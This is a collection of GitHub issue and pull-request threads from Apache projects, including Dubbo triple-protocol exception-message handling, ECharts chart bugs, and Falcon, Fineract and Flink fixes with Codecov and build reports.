tri协议，在异常中加入无意义内容（Exception in invoker chain :），导致前端不方便提示异常
public abstract class AbstractServerStream extends AbstractStream implements Stream {
    public void execute(Runnable runnable) {
        try {
            super.execute(() -> {
                try {
                    runnable.run();
                } catch (Throwable t) {
                    LOGGER.error("Exception processing triple message", t);
                    transportError(GrpcStatus.fromCode(GrpcStatus.Code.INTERNAL)
                        .withDescription("Exception in invoker chain :" + t.getMessage())
                        .withCause(t));
                }
            });
        } catch (RejectedExecutionException e) {
            LOGGER.error("Provider's thread pool is full", e);
            transportError(GrpcStatus.fromCode(GrpcStatus.Code.RESOURCE_EXHAUSTED)
                .withDescription("Provider's thread pool is full"));
        } catch (Throwable t) {
            LOGGER.error("Provider submit request to thread pool error ", t);
            transportError(GrpcStatus.fromCode(GrpcStatus.Code.INTERNAL)
                .withCause(t)
                .withDescription("Provider's error"));
        }
    }
}

@yl-yue
Only RpcException can be thrown in the filter. Please provide an example of garbled characters.
I think the second problem needs to be fixed.

@yl-yue

tri 协议由于使用了 pb 序列化，对异常的序列化支持不好，同时对于异常使用了 http2的 header 进行传输，header 的大小有限制，不能够将异常进行序列化放入 header 中，故不支持完整的异常重放。
由于 http2 header 的限制，内容只支持 AsciiString，对于其他编码建议进行 base64后放入 header
如果想实现上述功能，建议参考 #8363

@CrazyHZM
异常中添加前置内容不属于 bug，只为定位问题，不应该做为业务异常处理或显示

异常中添加前置内容不属于 bug，只为定位问题，不应该做为业务异常处理或显示

This seems to throw an exception only when the behavior in the framework does not meet expectations. If this is the case, there is no problem here.
@EarthChen Can you add a document about the above-mentioned custom exception handling to facilitate subsequent dissemination?

异常中添加前置内容不属于 bug，只为定位问题，不应该做为业务异常处理或显示

This seems to throw an exception only when the behavior in the framework does not meet expectations. If this is the case, there is no problem here.
@EarthChen Can you add a document about the above-mentioned custom exception handling to facilitate subsequent dissemination?

ok，I'll do that in the near future.

@yl-yue Only RpcException can be thrown in the filter. Please provide an example of garbled characters. I think the second problem needs to be fixed.

filter throw exception:
@Activate(group = CommonConstants.PROVIDER)
public class TokenFilter implements Filter {

    @Override
    public Result invoke(Invoker<?> invoker, Invocation inv) {
        throw new RpcException("错误的token");
    }

}

result:
{
  "error": "13 INTERNAL: Exception in invoker chain :???token"
}

Whether a Filter throw Exception or another throw exception, any message containing Chinese will be interpreted as garbled(?)

@yl-yue

tri 协议由于使用了 pb 序列化，对异常的序列化支持不好，同时对于异常使用了 http2的 header 进行传输，header 的大小有限制，不能够将异常进行序列化放入 header 中，故不支持完整的异常重放。
由于 http2 header 的限制，内容只支持 AsciiString，对于其他编码建议进行 base64后放入 header
如果想实现上述功能，建议参考 [Dubbo 3.0.1] use triple protocol cant return real exception #8363

回复与新疑惑

测试了 #8363 issues中提供的demo，最终的结果只是把13 INTERNAL换成了2 UNKNOWN，不过Exception in invoker chain :这串dubbo定义的前缀没了，但中文乱码任然存在。
关于是2 UNKNOWN还是13 INTERNAL，更适合携带业务异常，或许dubbo可以从规范入手，做个规约说明。
如果中文需要经过base64编码，这样对前端调试解析并不友好，意味着需要base64解码。

更多想法
站在我现在的角度，其实我只粗浅的觉得，dubbo tri协议最大的亮点是，不需要写下面这两行糟糕的代码：
responseObserver.onNext();
responseObserver.onCompleted();

那么是否可以考虑，dubbo tri协议是对grpc协议的缺陷或不优雅进行补足，并做增强，而不是改变，导致不能平滑迁移（只改controller层）

如果中文需要经过base64编码，这样对前端调试解析并不友好，意味着需要base64解码。

base64是因为grpc header 规定了-bin 的都要 base64，当然你可以 url encode，只不过 base64兼容更广

dubbo定义的前缀没了，但中文乱码任然存在。

乱码这个问题，将在下个版本修复它

关于是2 UNKNOWN还是13 INTERNAL，更适合携带业务异常，或许dubbo可以从规范入手，做个规约说明

grpc 除了框架异常，其他均是 unknown，所以这里为了保持一致
总得来说，如果需要业务异常进行处理，建议增加 attach 使用 filter 在两端进行异常转换，不要使用 grpc-message

dubbo tri协议是对grpc协议的缺陷或不优雅进行补足，并做增强，而不是改变，导致不能平滑迁移（只改controller层）

对于 unary 方法，dubbo 中不写onNext和onCompleted是为了兼容 dubbo2，并不是为了兼容 grpc 的写法。
tri 和 grpc 的兼容只限于互通

@EarthChen 感谢解答，谢谢！
问题一：tri协议，中文异常乱码
答案：会在下个版本中得到解决
问题二：tri协议，在异常中加入无意义内容（Exception in invoker chain :），导致前端不方便提示异常

答案？：需要将13 INTERNAL异常，转换为2 UNKNOWN异常，间接解决？
答案？：会在下个版本中得到解决，移除Exception in invoker chain :内容（或可配置开关）

那么问题二的答案是？

总得来说，如果需要业务异常进行处理，建议增加 attach 使用 filter 在两端进行异常转换，不要使用 grpc-message

主要的问题在于我们的前端web与app也是采用的grpc通信，之所以使用 grpc-message，也是需要向用户提示，如：密码错误，之类的业务提示。
同时我们后端还有异构语言，用 filter 添加 attach 的方式，显得过于复杂了。

@yl-yue
问题2：

框架内的异常，可能含有前置信息，不应该做为业务使用，当发生其他异常时均使用 unknown 抛出
中文乱码问题会在下个版本解决，如果想实现你的需求，使用 unknown 抛出即可

@yl-yue  提了个 pr 修复乱码问题，你可以尝试使用这个 pr 的代码测试一下

authors: CrazyHZM EarthChen yl-yue


text:
fix for issue#10213

replace Assertions with Assumptions
What is the purpose of the change
Brief changelog
Verifying this change

Checklist

[x] Make sure there is a GitHub_issue field for the change (usually before you start working on it). Trivial changes like typos do not require a GitHub issue. Your pull request should address just this issue, without pulling in other changes - one PR resolves one issue.
[ ] Each commit in the pull request should have a meaningful subject line and body.
[ ] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
[ ] Check if is necessary to patch to Dubbo 3 if you are work on Dubbo 2.7
[ ] Write necessary unit-test to verify your logic correction, more mock a little better when cross module dependency exist. If the new feature or significant change is committed, please remember to add sample in dubbo samples project.
[ ] Add some description to dubbo-website project if you are requesting to add a feature.
[ ] GitHub Actions works fine on your own branch.
[ ] If this contribution is large, please follow the Software Donation Guide.

Codecov Report

Merging #10413 (bf9a48d) into 3.0 (4b55862) will decrease coverage by 0.26%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##                3.0   #10413      +/-   ##
============================================
- Coverage     65.66%   65.39%   -0.27%
+ Complexity      319      318       -1
============================================
  Files          1234     1234
  Lines         53916    53881      -35
  Branches       8155     8126      -29
============================================
- Hits          35402    35234     -168
- Misses        14664    14770     +106
- Partials       3850     3877      +27

Impacted Files
Coverage Δ

...dubbo/remoting/zookeeper/ZookeeperTransporter.java
50.00% <0.00%> (-33.34%)
:arrow_down:

...ng/zookeeper/curator5/Curator5ZookeeperClient.java
44.28% <0.00%> (-25.72%)
:arrow_down:

...dubbo/common/status/support/LoadStatusChecker.java
41.66% <0.00%> (-25.00%)
:arrow_down:

...nt/metadata/ServiceInstanceHostPortCustomizer.java
65.78% <0.00%> (-21.06%)
:arrow_down:

...ache/dubbo/remoting/transport/AbstractChannel.java
75.00% <0.00%> (-12.50%)
:arrow_down:

...che/dubbo/registry/client/NopServiceDiscovery.java
44.44% <0.00%> (-11.12%)
:arrow_down:

...va/org/apache/dubbo/remoting/TimeoutException.java
22.22% <0.00%> (-11.12%)
:arrow_down:

...mmon/threadpool/support/fixed/FixedThreadPool.java
80.00% <0.00%> (-7.50%)
:arrow_down:

.../common/threadpool/serial/SerializingExecutor.java
70.37% <0.00%> (-7.41%)
:arrow_down:

...dubbo/remoting/exchange/support/DefaultFuture.java
80.35% <0.00%> (-6.72%)
:arrow_down:

... and 53 more

:mega: Codecov can now indicate which changes are the most critical in Pull Requests. Learn more


text:
Extension loader load extension classes

Check if type name starts with org.apache

Close for long time no response.
Please feel free to reopen if you have any question.
If you think these changes still useful in the latest master branch, please submit a new pull request.

authors: AlbumenJ dqqzj


text:
[3.0] Limit the maximum number of lines for the clear command

What is the purpose of the change
[3.0] Limit the maximum number of lines for the clear command #7911

Codecov Report

Merging #9289 (e14d5c2) into 3.0 (bfef39b) will decrease coverage by 0.39%.
The diff coverage is 40.00%.

@@             Coverage Diff              @@
##                3.0    #9289      +/-   ##
============================================
- Coverage     64.96%   64.56%   -0.40%
+ Complexity      328      327       -1
============================================
  Files          1206     1206
  Lines         51799    51810      +11
  Branches       7725     7686      -39
============================================
- Hits          33650    33452     -198
- Misses        14515    14730     +215
+ Partials       3634     3628       -6

Impacted Files
Coverage Δ

...rg/apache/dubbo/qos/legacy/TraceTelnetHandler.java
32.43% <0.00%> (ø)

...ting/telnet/support/command/ExitTelnetHandler.java
100.00% <ø> (ø)

...g/apache/dubbo/qos/legacy/ChangeTelnetHandler.java
90.90% <100.00%> (+4.54%)
:arrow_up:

...ing/telnet/support/command/ClearTelnetHandler.java
100.00% <100.00%> (ø)

...figcenter/file/FileSystemDynamicConfiguration.java
0.00% <0.00%> (-57.21%)
:arrow_down:

...fig/configcenter/TreePathDynamicConfiguration.java
60.00% <0.00%> (-25.72%)
:arrow_down:

...ache/dubbo/remoting/transport/AbstractChannel.java
75.00% <0.00%> (-12.50%)
:arrow_down:

...dubbo/common/status/support/LoadStatusChecker.java
50.00% <0.00%> (-11.54%)
:arrow_down:

...mmon/threadpool/support/fixed/FixedThreadPool.java
80.00% <0.00%> (-7.50%)
:arrow_down:

.../org/apache/dubbo/rpc/protocol/tri/WriteQueue.java
68.75% <0.00%> (-6.25%)
:arrow_down:

... and 50 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bfef39b...e14d5c2. Read the comment docs.

authors: BurningCN codecov-commenter


text:
Legend symbol/label are misaligned in some cases

Version
5.0.1
Steps to reproduce

Create any chart with a legend
Use the legend options below

Note: The use of "Hind" for fontFamily is important here
{
  ...
  icon: 'circle',
  itemWidth: 8,
  itemHeight: 8,
  textStyle: {
    fontFamily: 'Hind',
    fontSize: 12
  }
  ...
}

What is expected?
It is expected that the symbol (circle) and the label are vertically-aligned with each other.
What is actually happening?
When using "Hind" as the font family, the symbol and label are not vertically-aligned with one another. Other fonts (including custom fonts) do not have this issue. I tried modifying nearly all related options, including trying to "hack" together something that forced the label and symbol to align but nothing worked.
v4 of eCharts worked fine for the "Hind" font so it's something to do with v5.

After upgrading to v5, the legend symbol/labels were no longer aligned. We had been using v4 for 2-3 years with no problem.
Screenshots
Notice how the symbol (circle) and the label are not vertically-aligned with one another ("Hind" font)

Notice when using other fonts (Montserrat and default font, respectively), the symbol and labels are perfectly aligned

Legend text uses 'middle' for vertical text align. So this is probably because the middle line of "Hind" is higher than the others. I tested both 4.x and 5.x and they both have similar result, so this should not be an issue of ECharts.

A simple way to adjust the position would be using padding.

Thank you for the suggestion @Ovilia. Unfortunately, padding doesn't fix the issue. I tried both padding on the legend itself and padding on textStyle. Neither of them affect the text in any helpful way.
In the screenshot below, the red border indicates legend padding and the blue border indicates textStyle padding. Instead of pushing the text up or down, padding is simply added above or below.
Perhaps a margin setting for textStyle could be helpful? Or any other setting that allows direct control of the placement of the text.
Any thoughts or suggestions are appreciated.

@Ovilia Any thoughts or suggestions on my comment above?

Hello, just following up on this. It's labeled as "not-a-bug" but @Ovilia's suggestion does not work. If there is no solution to the issue, then I believe this is a bug.
Can someone please reply with a way to address the issue in the initial comment?

authors: Ovilia gregdeane

repo: apache/echarts


text:
[Bug] 5.3.0 bar stack datavalue=0无法正常堆叠

Version
5.3.0
Link to Minimal Reproduction
https://echarts.apache.org/examples/zh/editor.html?c=bar-y-category-stack
Steps to Reproduce
1.官网演示案例
2.option修改：2.1给每个series加上最小高度属性barMinHeight:15,   2.2把所有series.data改成[0, 0, 0, 0, 0, 0, 0]
3.无
Current Behavior
我需要堆叠柱状图在显示数值为0的项时有个最小高度。但是在5.3.0版本设置最小高度后，bar图不再正常堆叠，而是全部重合。
Expected Behavior
我需要堆叠柱状图在显示数值为0的项时有个最小高度。可以按照重现步操作后将版本切换到5.2.2，那就是我需要的结果。
Environment
- OS:
- Browser:
- Framework:

Any additional comments?
No response

I'm interested in fixing this issue.

@jttry Thanks in advance! Assigned this issue to you.

authors: jttry mtmtmtmtmtmtmt plainheart


text:
#4556 implement retry strategy based on pulsar message middleware

Fixes #4897
Motivation
Currently, EventMesh supports two retry strategies for the case of message consumption failure: a retry strategy using HashedWheelTimer in memory (default) and a retry strategy based on external storage RocketMQ. This implementation will add retry strategy based on Pulsar message middleware
Modifications
Implemented the code for supporting retry based on Pulsar
Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)
If a feature is not applicable for documentation, explain why?
If a feature is not documented yet in this PR, please create a followup issue for adding the documentation

Based on my current understanding of Pulsar, I have completed the review to the best of my ability. As I said in your last PR, I am not very familiar with Pulsar, so I can't guarantee the quality of my review this time. Please forgive my lack of technical expertise.
Reviewers should be responsible for the first "approved" of each PR, so please wait for further review from more members of the community.

authors: HarshSawarkar pandaapo

repo: apache/eventmesh


text:
FALCON-2186 Rest api to get location of an extension

Dev testing :
bin/falcon extension -location -extensionName hdfs-mirroring
file:/usr/local/falcon/falcon-0.11-SNAPSHOT/extensions/hdfs-mirroring

@PraveenAdlakha Instead of having an API just to return the location, we can provide a generic API to return all details (whatever we store as a metadata bean). That way it is extensible. If new attributes get added to an extension metadata, everything will get returned, the Client can then filter out what it requires.

$ bin/falcon extension -detail -extensionName test
{"detail":{"name":"test","type":"Custom extension","description":"test ing","location":"hdfs:hostname:8020/user/dataqa/sampleextension"}}

authors: PraveenAdlakha pallavi-rao

repo: apache/falcon

license_source: bigquery


text:
FALCON-2333: FilteredCopyListing#shouldCopy override for new function signature

Build succeeds on local with checkstyle enabled
[INFO] Reactor Summary:
[INFO]
[INFO] Apache Falcon ...................................... SUCCESS [ 29.596 s]
[INFO] Apache Falcon UI ................................... SUCCESS [ 30.419 s]
[INFO] Build Tools ........................................ SUCCESS [ 20.110 s]
[INFO] Apache Falcon Java common types .................... SUCCESS [ 54.352 s]
[INFO] Apache Falcon Metrics .............................. SUCCESS [ 21.369 s]
[INFO] Apache Falcon Hadoop Dependencies .................. SUCCESS [ 23.484 s]
[INFO] Apache Falcon Test Utility ......................... SUCCESS [ 19.320 s]
[INFO] Apache Falcon Commons .............................. SUCCESS [05:45 min]
[INFO] Apache Falcon extensions ........................... SUCCESS [01:19 min]
[INFO] Apache Falcon Java client .......................... SUCCESS [ 46.655 s]
[INFO] Apache Falcon Shell ................................ SUCCESS [ 28.133 s]
[INFO] Apache Falcon CLI client ........................... SUCCESS [ 30.136 s]
[INFO] Apache Falcon Titan 1.0 support .................... SUCCESS [ 14.624 s]
[INFO] Apache Falcon Oozie EL Extension ................... SUCCESS [ 24.562 s]
[INFO] Apache Falcon Embedded Hadoop - Test Cluster ....... SUCCESS [01:02 min]
[INFO] Apache Falcon Sharelib Hive - Test Cluster ......... SUCCESS [  7.371 s]
[INFO] Apache Falcon Sharelib Pig - Test Cluster .......... SUCCESS [  2.580 s]
[INFO] Apache Falcon Sharelib Hcatalog - Test Cluster ..... SUCCESS [  2.128 s]
[INFO] Apache Falcon Sharelib Oozie - Test Cluster ........ SUCCESS [  0.899 s]
[INFO] Apache Falcon Test Tools - Test Cluster ............ SUCCESS [  0.789 s]
[INFO] Apache Falcon Messaging ............................ SUCCESS [01:03 min]
[INFO] Apache Falcon LIfecycle Module ..................... SUCCESS [ 38.893 s]
[INFO] Apache Falcon Oozie Adaptor ........................ SUCCESS [04:16 min]
[INFO] Apache Falcon Scheduler ............................ SUCCESS [02:24 min]
[INFO] Apache Falcon Acquisition .......................... SUCCESS [ 51.916 s]
[INFO] Apache Falcon Distcp Replication ................... SUCCESS [ 35.040 s]
[INFO] Apache Falcon Retention ............................ SUCCESS [ 32.609 s]
[INFO] Apache Falcon Archival ............................. SUCCESS [  2.186 s]
[INFO] Apache Falcon Rerun ................................ SUCCESS [ 40.828 s]
[INFO] Apache Falcon Prism ................................ SUCCESS [08:04 min]
[INFO] Apache Falcon Unit ................................. SUCCESS [04:04 min]
[INFO] Apache Falcon Examples ............................. SUCCESS [ 35.224 s]
[INFO] Apache Falcon Web Application ...................... SUCCESS [26:32 min]
[INFO] Apache Falcon Documentation ........................ SUCCESS [ 23.240 s]
[INFO] Apache Falcon Distro ............................... SUCCESS [03:09 min]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------

Thanks @RaghavendraSingh for your contribution

authors: RaghavendraSingh pallavi-rao


text:
FINERACT-855: Fixing test failure due to rounding difference

Checklist
Please make sure these boxes are checked before submitting your pull request - thanks!

[x] Commit message starts with the issue number from https://issues.apache.org/jira/projects/FINERACT/. Ex: FINERACT-646 Pockets API.

[x] Coding conventions at https://cwiki.apache.org/confluence/display/FINERACT/Coding+Conventions have been followed.

[x] API documentation at fineract-provider/src/main/resources/static/api-docs/apiLive.htm has been updated with details of any API changes.

[x] Integration tests have been created/updated for verifying the changes made.

[x] All Integrations tests are passing with the new commits.

[x] Submission is not a "code dump".  (Large changes can be made "in repository" via a branch.  Ask on the list.)

Our guidelines for code reviews is at https://cwiki.apache.org/confluence/display/FINERACT/Code+Review+Guide

@ptuomola I'm curious to see if this will fail in testPrematureClosureAmountWithPenalInterestForWholeTerm_With_360() (another test method), see FINERACT-886 ...

@ptuomola it didn't actually get to FINERACT-886, but still failed with FINERACT-1016 (ex. FINERACT-855) ... I think what I'll do is if (when) #968 passes I'll (self) merge that ASAP, to unblock other PRs, and then you can rebase this and un-@Ignore those tests again with the fixes in this PR. Sounds like a plan?

@ptuomola beware RecurringDepositTest's testPrematureClosureAmountWithPenalInterestForWholeTerm_With_360_Days() (which is failing, FINERACT-1016) vs testPrematureClosureAmountWithPenalInterestTillPrematureWithdrawal_With_360_Days() (which is OK?) vs. testPrematureClosureAmountWithPenalInterestForWholeTerm_With_360() in FixedDepositTest (FINERACT-886 failure)... I've confused which is failing in #968 - retrying it again there now.

This partially overlaps with some of my PRs from yesterday (#966 #959, and partially #958 #956), but that's OK - in the interest of currently fixing the broken build, I'm going to have a closer review look at this and merge it ASAP...

authors: ptuomola vorburger

repo: apache/fineract


text:
[hotfix][docs] fix some typos

What is the purpose of the change

I have updated some typos in the docs/content/docs/custom-resource/autoscaler.md file.

Verifying this change

I checked the changes.

Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changes to the CustomResourceDescriptors: (no)
Core observer or reconciler logic that is regularly executed: (no)

Documentation

Does this pull request introduce a new feature? (no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)

Hi, @mbalassi please take a look in your free time, thanks!

Thank you for contributing!

@mxm @gyfora Thank you for your patience, it gives me a lot of encouragement!

repo: apache/flink-kubernetes-operator


text:
[FLINK-17744] StreamContextEnvironment#execute cannot be call JobListener#onJobExecuted

What is the purpose of the change
If we registered our own joblistener, when job execution ends, onJobExecuted method will be executed
Brief change log
Changes are confined in the StreamContextEnvironment class
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (yes / no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (yes / no)
The serializers: (yes / no / don't know)
The runtime per-record code paths (performance sensitive): (yes / no / don't know)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn/Mesos, ZooKeeper: (yes / no / don't know)
The S3 file system connector: (yes / no / don't know)

Documentation

Does this pull request introduce a new feature? (yes)
If yes, how is the feature documented? (JavaDocs)

@flinkbot run travis

Hi @EchoLee5 , thanks for the work! Good catch!
I had some comments on the code itself but also I am wondering shouldn't the same happen to the ContextEnvironment as well?

@kl0u I'm sorry I didn't see the last comment. Yes, I think ContextEnvironment has the same situation, but we haven't used it so we didn't find it.

@kl0u I got it.

repo: apache/flink


text:
[FLINK-18341][walkthroughs] Drop remaining table walkthrough archetypes

What is the purpose of the change
Remove unused walkthrough components that are causing build instability.
Brief change log

Delete unstable code

Verifying this change
This change is a trivial rework / code cleanup without any test coverage.
Does this pull request potentially affect one of the following parts:
No
Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)

@sjwiesman Thanks for the PR. LGTM.

authors: dianfu sjwiesman


text:
[FLINK-19695][table-runtime-blink] Fix ClassCastException when writing table with rowtime attribute

What is the purpose of the change
When writing Table with rowtime column of type TIMESTAMP(3) to Kafka fails with ClassCastException. This is because SinkOperator$SimpleContext#timestamp only deal with long type timestamps. This is a legacy code, because we have changed timestamp from long type to TimestampData since 1.11.
Brief change log

Fix SinkOperator$SimpleContext#timestamp to get TimestampData first.

Verifying this change

Added an end-to-end test for SinkContext#timestamp .

Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (yes / no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (yes / no)
The serializers: (yes / no / don't know)
The runtime per-record code paths (performance sensitive): (yes / no / don't know)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Yarn/Mesos, ZooKeeper: (yes / no / don't know)
The S3 file system connector: (yes / no / don't know)

Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)

Could you help to review this @leonardBang ?

@flinkbot run azure


text:
[Flink-21976] Remove Flink ML pipeline API and library code from the Flink repo

What is the purpose of the change
Remove ML pipeline API and library code from Flink so that we can later add them to https://github.com/apache/flink-ml.
Brief change log

Remove all files under flink-ml-parent
Remove fink-ml-* related configs from pom.xml

Verifying this change
Pass unit tests.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (yes)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn/Mesos, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? (no)
If yes, how is the feature documented? (not applicable)

@dianfu Do you have time to take a look? Thanks!


text:
[hotfix][connector/kafka] fix missing nullable annotion in createKafkaTableSink function

What is the purpose of the change
Fix missing nullable annotion,  since kafkaPartition and parallelism  are nullable
Brief change log

add missing nullable annotion in createKafkaTableSink  function

Verifying this change
This change is a trivial rework / code cleanup without any test coverage.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn/Mesos, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? (no)

@MartijnVisser  Can you help have a look at this pr, if you have time.

@hackergin Thanks for the PR. I do think this would not be a hotfix but would require a Jira. I'm pinging @fapaul @slinkydeveloper for their opinions

I think hotfix for this is fine, this is a minor change in an internal code, the method is even protected

@slinkydeveloper Do you want to do the review? I could merge it if you think it's OK

I don't really have any opinions about this PR, I don't know if those two variables can be nullable or not :) Maybe @fapaul ?

authors: MartijnVisser hackergin slinkydeveloper


text:
[FLINK-25031][runtime] Job finishes iff all job vertices finish.

What is the purpose of the change
Let the job finish iff all job vertices are finish, since execution vertices can be lazily created when using adaptive batch scheduler.
Brief change log
Job finishes iff all job vertices finish.
Verifying this change
This change can be covered by existing tests.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? (no)
If yes, how is the feature documented? (not applicable)

@flinkbot run azure

@flinkbot  run azure

I rebased to include the fix of FLINK-25150(which will fail the ci test)

Merging.


text:
[FLINK-31626] HsSubpartitionFileReaderImpl should recycle skipped read buffers.

What is the purpose of the change
In FLINK-30189, HsSubpartitionFileReaderImpl will skip the buffer has been consumed from memory to avoid double-consumption. But these buffers were not returned to the BatchShuffleReadBufferPool, resulting in read buffer leaks. In addition, all loaded buffers should also be recycled after data view released.
Brief change log

HsSubpartitionFileReader should not read buffers from disk after it has been released.
HsSubpartitionFileReaderImpl should recycle skipped read buffers.

Verifying this change
This change added unit tests.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): no
The public API, i.e., is any changed class annotated with @Public(Evolving): no
The serializers: no
The runtime per-record code paths (performance sensitive): no
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn, ZooKeeper: no
The S3 file system connector: no

Documentation

Does this pull request introduce a new feature? no

Thanks @TanYuxin-tyx for the review, I have addressed all the comments in the fix-up commit, please take a look again.

Rebased it and waiting for CI passing.

merged via 59462197.


text:
[FLINK-5434] Remove unsupported project() transformation from Scala DataStream docs.

Thanks for contributing to Apache Flink. Before you open your pull request, please take the following check list into consideration.
If your changes take all of the items into account, feel free to open your pull request. For more information and/or questions please refer to the How To Contribute guide.
In addition to going through the list, please provide a meaningful description of your changes.

[X] General

The pull request references the related JIRA issue ("[FLINK-XXX] Jira title text")
The pull request addresses only one issue
Each commit in the PR has a meaningful commit message (including the JIRA id)

[ ] Documentation

Documentation has been added for new functionality
Old documentation affected by the pull request has been updated
JavaDoc for public methods has been added

[ ] Tests & Build

Functionality added by the pull request is covered by tests
mvn clean verify has been executed successfully locally or a Travis build has passed

merging.

authors: gallenvara zentol


text:
[FLINK-7479] [cep] Support to retrieve the past event by an offset

What is the purpose of the change
Currently, it's already able to retrieve events matched to the specifed pattern in IterativeCondition.Context. While there are also requirements to retrieve events by an physical offset. The retrieved events may not be matched to any pattern.
Brief change log

Add API retain() in Pattern
Buffer the past events in NFA.process
Access the past events by the newly added API getEventByOffset in IterativeCondition.Context

Verifying this change
This change added tests and can be verified as follows:

Added test in IterativeConditionsITCase

Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Yarn/Mesos, ZooKeeper: (no)

Documentation

Does this pull request introduce a new feature? (yes)
If yes, how is the feature documented? (docs / JavaDocs)

Thanks @dawidwys for the suggestion. I will update the PR accordingly.

@dawidwys Have updated the PR according to your comments.